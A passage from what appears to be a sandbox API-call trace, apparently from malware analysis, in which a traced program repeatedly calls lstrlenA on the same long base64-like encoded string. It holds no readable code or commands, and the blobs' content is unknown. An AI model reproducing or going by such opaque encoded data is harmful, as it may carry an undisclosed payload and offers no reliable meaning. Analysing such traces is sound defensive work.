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") returned 5820
	[0084.635] lstrlenA (lpString="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") returned 5820
	[0084.635] lstrlenA (lpString="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") returned 5820
	[0084.635] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+r